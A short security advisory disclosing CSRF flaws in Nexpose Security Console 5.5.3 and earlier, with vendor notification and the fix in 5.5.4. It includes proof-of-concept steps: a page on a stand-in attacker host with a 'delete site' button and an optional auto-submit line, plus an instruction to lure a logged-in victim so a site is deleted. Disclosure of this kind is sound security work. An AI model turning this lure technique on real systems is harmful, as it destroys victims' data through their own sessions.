Multiple Cross-Site Request Forgery (CSRF) vulnerabilities in Nexpose
Security Console 5.5.3 and below allow remote attackers to submit
actions on a legitimate user’s behalf.
By not properly checking each URL, an attacker can execute requests on
behalf of a legitimate user.
If an authenticated user is tricked into visiting a specially crafted
page, it may be possible to perform user-initiated actions on the web
application using the victim’s established session.
Successful exploitation of this vulnerability resulted in deleting scan
data and sites during the proof-of-concept.
Exploit steps for proof-of-concept:
1. Create an external site/page:
http://attackersite.com/nexpose-csrf.htm that contains:
<!-- Nexpose CSRF PoC -->
<input type="submit" value="delete site" />
//document.forms.submit(); //uncomment to auto-submit
2. Lure victim to http://attackersite.com/nexpose-csrf.htm.
3. Site with ID 1 is deleted when form is submitted.
Vendor Notified: Yes
Vendor Response: Quickly escalated and resolved.
Vendor Update: Remediated in 5.5.4.
